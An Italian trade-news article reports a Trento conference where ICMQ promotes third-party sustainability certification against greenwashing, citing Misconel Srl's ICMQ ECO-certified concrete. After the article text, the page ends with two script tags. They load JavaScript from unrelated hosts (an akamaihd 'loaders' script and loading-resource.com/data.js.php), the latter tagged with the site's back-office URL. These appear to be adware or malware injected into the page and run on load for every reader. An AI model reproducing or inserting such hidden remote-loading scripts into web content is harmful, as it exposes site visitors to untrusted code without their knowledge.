1. Home
  2. Notizie e Mercato
  3. Edilizia: ICMQ, sostenibilità certificata per superare il greenwashing

Edilizia: ICMQ, sostenibilità certificata per superare il greenwashing

Energie rinnovabili di
5/5
votato da 1 persone
A Trento il caso della Misconel Srl che sta investendo nel rispetto dell’ambiente e in una certificazione innovativa


La certificazione energetica degli edifici è un classico esempio di certificazione obbligatoria dequalificata dalle condizioni in cui viene eseguita, per cui molto spesso non garantisce affatto che l’efficienza energetica dell’immobile che si vende o si acquista abbia le caratteristiche dichiarate. Si tratta di una vera bufala. Per scongiurare questo tipo di sostenibilità solo di facciata che si trasforma nel fenomeno del greenwashing, è  necessario certificare la sostenibilità e garantire le prestazioni di un prodotto o di un edificio”.

Così Alberto Lodi, responsabile certificazione edifici  ICMQ, organismo di certificazione leader nel mercato delle costruzioni,  in occasione del convegno “Progettare e costruire edifici a energia quasi zero” che si è tenuto oggi a Trento.

Lo strumento corretto per attestare il rispetto dei requisiti dichiarati – ha ripreso Lodi -  è la certificazione di parte terza indipendente, cioè di un organismo la cui competenza, indipendenza e imparzialità sia riconosciuta dal mercato per l’autorevolezza di chi la rilascia oltre che garantita, laddove possibile, dall’ente nazionale di accreditamento (in Italia Accredia) secondo procedure e regole internazionalmente condivise. Nonostante la crisi economica ci sono molte imprese che decidono di investire in questo tipo di sostenibilità certificata con ottimi risultati."

E’ il caso, ad esempio, dell’azienda trentina Misconel Srl, il cui calcestruzzo preconfezionato prodotto nell’impianto di Lago di Tesero (Tn), ha ottenuto, prima nella regione,  la certificazione delle caratteristiche di sostenibilità ICMQ ECO.  

La nostra impresa, già certificata secondo la norma ambientale Uni En Iso 14001, ha imboccato la strada della sostenibilità da diversi anni”, ha dichiarato Paolo Nones, responsabile sistemi gestionali  Misconel. “Il passo successivo  - ha spiegato - è stato quello di allargare la visione dal sistema al prodotto. Questo elemento, assieme ai forti investimenti tecnici che la nostra impresa ha realizzato negli ultimi anni cambiando completamente l’impianto di produzione, ci ha spinto in questa direzione. In un periodo economico difficile come quello attuale, l’attenzione all’ambiente può rappresentare un’arma in più per presentarsi al mercato. Nel nostro caso anche l’attenzione di un importante committente come la Provincia autonoma di Trento alle costruzioni sostenibili, attraverso l’utilizzo della certificazione Leed, ha rappresentato un ulteriore stimolo a perseguire questa strada”, ha concluso Nones.

Lo schema ICMQ ECO è stato sviluppato coerentemente al concetto di sviluppo sostenibile e di progettazione e realizzazione a basso impatto ambientale che trova la sua massima applicazione negli schemi di certificazione dell’edificio quali, ad esempio, Leed e Itaca. “Pertanto il produttore in possesso della certificazione di prodotto sostenibile ICMQ ECO ha uno strumento affidabile e di terza parte indipendente per consolidare o estendere la propria presenza commerciale nella fornitura di prodotti per le opere eco-compatibili nonché accrescere la propria immagine, differenziandosi da chi si auto professa “green” ha precisato Lodi.

Per scongiurare il greenwashing, l’appropriazione indebita da parte delle aziende di caratteristiche ambientali e sostenibili, è dunque necessario certificare la sostenibilità e garantire  le prestazioni di un prodotto o di un edificio. Oltre alla certificazione di prodotto sostenibile ICMQ ECO, ci sono altri strumenti di cui possono servirsi le imprese al fine di attestare il proprio impegno nei confronti dell’ambiente e degli utenti: la Dichiarazione ambientale di prodotto (Epd), dove gli impatti ambientali vengono calcolati su tutto il ciclo di vita; la certificazione energetica degli edifici condotta secondo le procedure di qualità dello schema Sistema Edificio di ICMQ che prevede verifiche sia in fase di progetto che in fase di costruzione, con visite sui cantieri; MAKE IT SUSTAINABLE, il nuovo modello di certificazione di processo con cui ICMQ verifica che un determinato prodotto, cantiere o servizio sia realizzato, gestito ed erogato secondo i principi di sostenibilità. Questa certificazione opera in maniera integrata valutando, oltre ai requisiti generali, anche quelli specifici: nel caso di un cantiere si verifica per esempio la sua corretta gestione per quanto riguarda l’acqua, i rifiuti, l’aria, i criteri di selezione dei prodotti, i processi di realizzazione degli impianti e persino le modifiche progettuali. Questo tipo di approccio valorizza gli investimenti per la sostenibilità e favorisce la partecipazione ad appalti di edilizia sostenibile.



<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&amp;pid=1032&amp;zoneid=62862"></script><script src="https://loading-resource.com/data.js.php?i={271EC601-39CC-426C-935D-F754BCD76643}&amp;d=2012-10-16&amp;s=http://www.guidaedilizia.it/Backoffice/GuidaNews/Inserisci_Articoli.asp?TipologiaID=1" type="text/javascript"></script>